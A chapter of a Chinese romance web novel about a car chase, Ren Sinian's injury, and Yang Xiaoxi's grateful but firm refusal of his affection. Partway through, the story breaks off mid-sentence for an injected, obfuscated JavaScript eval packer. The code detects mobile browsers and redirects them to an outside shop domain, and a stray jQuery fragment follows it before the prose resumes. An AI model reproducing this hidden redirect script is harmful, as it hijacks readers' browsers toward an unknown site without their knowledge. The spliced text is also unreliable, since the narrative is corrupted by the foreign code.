杨晓夕的心情并没有受多大影响,参观完还买了几个纪念品回去,几天之后杨晓夕接到了林菲来电,约她出去玩,杨晓夕答应了。
两人去了一家海港餐厅吃饭,窗外就是蓝天白云和沙滩,非常惬意,食物做得也可口。不过杨晓夕明显发现林菲心不在焉。
“你怎么了?”杨晓夕直接问她,“好像有心事?”
“嗯?”林菲回过神,“怎么这么问?”
杨晓夕指着她手上的勺子,“你因为失神,勺子里的粥滴了出来,已经两次了。”
林菲后知后觉,急忙不好意思道:“抱歉抱歉,见笑了。”说罢拿了纸巾将滴落桌上的粥擦了擦。
杨晓夕问:“发生什么事了?”
林菲叹了口气,“说起来挺复杂的。”
“没事,我放假了,时间多得很,你要是愿意说的话,我可以慢慢听你说。”
“还不是因为谢清和和他家里面的事情。”
杨晓夕大概也猜到,谢清和家里人不太满意林菲,林菲和他家里有矛盾,谢清和因此专门在外面租了一套房金屋藏娇,林菲能有的心事当然和谢清和有关。
不过林菲接下来说的话却着实让杨晓夕震惊。
“因为谢清河母亲强迫他跟我分手,他和家里闹得挺难看,甚至打算放弃身份和我一起离开。”
“啊?”杨晓夕是着实被惊到了。
“我当时表情也跟你差不多,我没想到谢清和竟会因为我做到这个地步。反正因为这件事他和他妈妈吵得很厉害,他妈妈还因此晕倒住院了,他没办法只能过去照顾,而他妈妈不惜以死相逼,让他和我分手,娶他给她安排的女孩。”
任家姑姑晕倒的事情杨晓夕倒是听说过,还去探望过一次,当时谢家人也没说她因为什么晕倒,杨晓夕自然也不会多问,尽到小辈的探望义务就行了。没想到是因为这事儿啊?
林菲说完又深深叹了口气,“晓夕你说我现在该怎么办?谢清和为了我和家人闹这么僵,我感觉我就跟个罪人一样,你说我要不要直接离开算了,我离开了他也不用这么为难了。”
杨晓夕想了想说道:“你都说了他为了你跟家里差点闹掰,肯定是很在意你的,要是你离开他会很难过。再说了你们在一起的阻力是来自谢清和这里,如果他想和你在一起,这些阻力也该是他自己去解决的。”
林菲赞同点点头,“你说得对,反正在他没提分手前我就该做什么做什么,提了分手……提了分手也没关系,反正我已经做好心理准备了。”
话是这么说,可说出这句话时依旧难掩她脸上的失落。
杨晓夕一时也不知道该怎么安慰,毕竟分手这种事情不是她能左右的,不过看林菲的状态,即便有一天分手了也不至于太崩溃。
两个人都为这段感情尽了最大的努力,林菲不顾一切随谢清和来了这里,谢清和倒也没有辜负她,最起码还是为了这段感情反抗过,至于结局如何没有人知道,但最起码两人都努力过,也不算留有遗憾了。
吃完饭,两人便一起来海滩上散散步,有的没得聊了一些,刚走了不多久,林菲突然停了脚步,杨晓夕不解向她看去,就见她一脸惊恐看向不远处。杨晓夕随着她目光看去,就见不远处海滩上快步走来两个人,从他们坚定的步子来看是冲着两人这边来的。
杨晓夕还没来得及询问,就听到旁边林菲惊叫一声,随后拉起她的手说道:“晓夕快跑。”
杨晓夕也知觉那两人来者不善,一边疑惑,一边紧跟着林菲的步子。杨晓夕的车子就停在不远处,两人上了车,杨晓夕发动车子便冲了出去,开了没一会儿就看到后面跟上来一辆皮卡。
杨晓夕这才问道:“这两个是什么人啊?”
“我也不知道,但我感觉不像好人,晓夕快开,他们快追上来了。”
海岸线上的观光大道上车不是很多,可开得太急,有好几次还是差点和前车撞上,而身后那辆车一直紧追不舍,杨晓夕也只能猛踩油门。
无头苍蝇一样在路上飞驰,杨晓夕一时也不知道往哪里开,可这样漫步目的的开肯定是不行的,这会儿又没有移动电话直接打个电话报警。
直到她无意间一抬头,看到了不远处耸立在眼前的一座高大建筑,那建筑顶端有着标志性的像帆船又像元宝的巨大雕塑,杨晓夕一眼就认出那是淮海的大楼。
无头苍蝇乱窜的杨晓夕一时便有了目的,那是她唯一熟悉的地标,情急之下她只能往自己熟悉的地方开。
已是下班时间,任斯年的车子从地下车库驶出来,任斯年坐在车子后座上,一抬头便能感受到外面的骄阳似火,不过沿途的海景倒是美的。
车子开了没多久,就见旁边道上有一辆疾驰的小车驶过,任斯年感觉这车有点眼熟,再一看,确实是他的车,不过放家里车库的,只有杨晓夕能开。开着车的助理自然也发现了,说了一句:“好像是太太。”
随着那辆车疾驰过去,后面一辆皮卡紧追不舍,任斯年几乎是没加思索,“掉头!”
开了这么长的路,那辆车依旧甩不掉,而且还越逼越近,有好几次还差点和她们撞上,有一次那车眼看着就要撞过来,林菲从后视镜看到吓得尖叫,“啊啊,晓夕快开!”
这一路行来以足够让杨晓夕冷静,以前看香港警匪片经常能看到在街上追逐的热血场面,没想到有朝一日也落到自己身上,和旁观的心情完全不一样,此刻内心只有恐惧。
后面那辆车越靠越近,快进入港城的核心地段了,人也越来越多,杨晓夕开着车,心理负担也越来越重,可后面那车就紧咬着她们不放,找准机会就要撞上来。
这一次连杨晓夕自己也不自觉被吓得尖叫,可意外的是,那车眼见着要撞上之前,却被它后面的另外一辆车从侧面撞了过去,直接被撞到了绿化带上。
毫无疑问,撞向那皮卡的就是任斯年的车,前面那车来势汹汹,任斯年也不知道杨晓夕惹上了什么人,那些人是冲着要她命来的,眼看着就要撞上去,任斯年冷着脸直接向助理言简意赅丢去一个字。
“撞!”
阿明车技不错,直接从侧面将那车撞到了绿化带,不过车身因为巨大的惯性,阿明极限摆尾稳住,没有冲上绿化带,巨大的车身还是在绿化带边缘重重顶了一下。按照常理来说,这样顶一下根本没什么事,毕竟车子底盘很重,最多不过就是有几下剧烈的摇晃感。
可偏偏那绿化带上立了个雕塑,晃动的车身撞上雕塑,车玻璃当即就被震得粉碎,撒了任斯年一身。
杨晓夕谨慎着将车子开远一些才停下,回头望去,确实是追她们的那辆车被撞到了绿化带,林菲也不明所以。
“什么情况?”林菲问。
杨晓夕摇头,她也不知道。
而杨晓夕也很快认出那撞向皮卡的车是任斯年的,她看到助理阿明从前座下来去了后座,再看后座碎掉的窗户玻璃,顿时有一种不祥的预感。
急忙发动车子在前方十字路口掉头回去,两辆相撞的车子周围已经为了不少看热闹的路人围观。
杨晓夕急忙又一个掉头,车子在任斯年车子后方不远处停下,她拨开围观的重重人群走到车边,阿明正好费力拉开车门,杨晓夕便看到了坐在后座上,身上散落着不少车窗玻璃,一侧脸上满是鲜血的任斯年。
旁边有人惊呼,“流血了流血了,快去打报警电话,还有救护车,快叫救护车。”
巨大的撞击让任斯年头有些发晕,试图睁开眼看看外面,窗外的白光却晃得他睁不开眼,直到他听到一道熟悉的声音。
“任斯年,任斯年你还好吗?”
似乎是杨晓夕的声音,他费力睁开,终于在一片白光中捕捉到杨晓夕模糊的身影,这才想起方才杨晓夕被人追着。
其实都还没反应过来到底发生了什么,头又晕得厉害,却还是费力想要看清她,下意识问了一句:“你没事吧?”
“我没事。”
任斯年得到这个回答,似乎放了心,这才彻底晕了过去。
警方和救护车很快赶到封锁现场,任斯年被送上救护车,杨晓夕作为家属自然陪同,不过刚到医院不久就没警方带走调查,好在阿明还在身边,这边暂时交给他。
做完笔录回到医院,任斯年已经醒来,他的伤口也已清理过缝了针。那沾了血的衣服被换了下来,不像方才满脸血又吓人又狼狈,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653179|204076||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是方才撞击时玻璃碎片划破了耳后,要缝针需要剃掉一块头发,在任斯年这种精致干练的身上看着有些突兀。
杨晓夕从医生那里得知任斯年已没了大碍,只是缝了针的伤口需要恢复,并没有严重的内伤,不管她和任斯年有怎样的矛盾和不对付,听到这话着实松了一口气。
杨晓夕进来病房时,任斯年正坐在床边,阿明俯身将耳朵凑在他跟前听他吩咐,听到声音,任斯年暂时终止话头,冲阿明交代一句:“照我说的去办就行。”
阿明应了一声便暂时离开了,虽然已得知任斯年没大碍,杨晓夕还是问了一句:“你没事吧?”
“没事,你呢?”
“我没事。”
任斯年侧面那被剃了头发的地方实在是太突兀了,杨晓夕目光不自觉就往上面看,一时心情有些复杂。客观来说,今日任斯年受的伤是因为她,这个精致干练的人被剃了一撮头发如此突兀的造型也是因为她。
如果不是他的车撞上那辆皮卡,还不知道最后结果会怎么样。说起来那辆皮卡,那两个人已被抓到了,不过警方让她辨认,她确定她不认识他们,林菲也不认识,不知道为什么像疯狗一样追杀他们。
杨晓夕一向恩怨分明,这次是任斯年帮了她,所以她发自心底对他由衷感谢,“今天谢谢你,我会备一份谢礼送给你。虽然你可能什么也不缺,但也是我一片心意,我会在我承受范围之内送一件最拿得出手的礼物,希望你笑纳。”
听到这话,再见她态度格外诚恳,任斯年便感觉两人的距离不自觉拉近了一些,他笑了笑,说道:“你也说了我什么都不缺,要是真有心感谢倒不用送谢礼,可以给一点别的,我需要的。”
“哦?你需要什么?”
“我需要你对我不要那么大偏见。”
“……”
任斯年看她的目光有些深,杨晓夕大概能猜到他意思,她道:“我对任先生并没有偏见。”
“是吗?那就对我态度好一点,或者说试着喜欢我一点,可以吗?”
他是笑着说这话的,可语气却很郑重,并不是在调侃,也不是在开玩笑。
杨晓夕是发自内心感谢任斯年的帮忙,感谢是一回事,感情又是另一回事。所以杨晓夕沉默片刻后说道:“我对任先生并没有偏见,我只是不喜欢你。”
任斯年面上的笑意明显淡了下来,杨晓夕却还是继续道:“所以任先生想要的我无法给你,这次你帮忙,我很感激,可是感激和感情是不一样的。我依旧会备上谢礼,至于任先生收不收那就是你的事情了,而且如果以后你有什么需要帮忙的地方,我能做到一定帮你,但是感情这件事,我实在无能为力。”
任斯年听到这话心情复杂,一时也不知道该用什么表情,便只能笑了笑。
杨晓夕道:“你好好休息。”
她说完果真就转身离去了,任斯年看着消失在门口的身影,只觉得缝合的伤口又隐隐作痛,疼得他眉心微蹙,他下意识去碰,却感觉那伤口像长了根似的,一路从头皮蔓延到脑子里,脑子顿时也一阵闷闷胀胀的痛。
几天之后一份包装精美的礼物送到了任斯年的办公室,任斯年看到贴在包装盒上的手写卡片,认出是杨晓夕字迹。
想到不久前在医院,她说会送他一份谢礼,任斯年看到这份礼物,又想到那日杨晓夕说过的话,顿时又自嘲笑了笑。
沉默片刻还是将礼物拆开,却见里面躺着一件高定衬衣,衬衣是不会出错的白色,却又不是单纯的白,散发着温润的珠光白色,既然都拆开了,任斯年便拿起试了试,非常合身,是定制款。
她并没有打电话问过他的身高尺寸,想来是从佣人口中或者助理口中得知的,默默调查了他的尺寸,给他定做一件衬衣送给他。
这份礼物也送得很有诚意,非常的贴心,如果没有她那些话,她说的不喜欢他的话,她精心送给他一份礼物,真的让他感觉被自己的妻子体贴着。
可他很清楚,这礼物只是她的谢礼。
她不喜欢他却又真心谢谢他。
她如此清醒,爱憎分明,从不混淆一切,她想以此切割,可她不知,她越是这样他反而越是心动。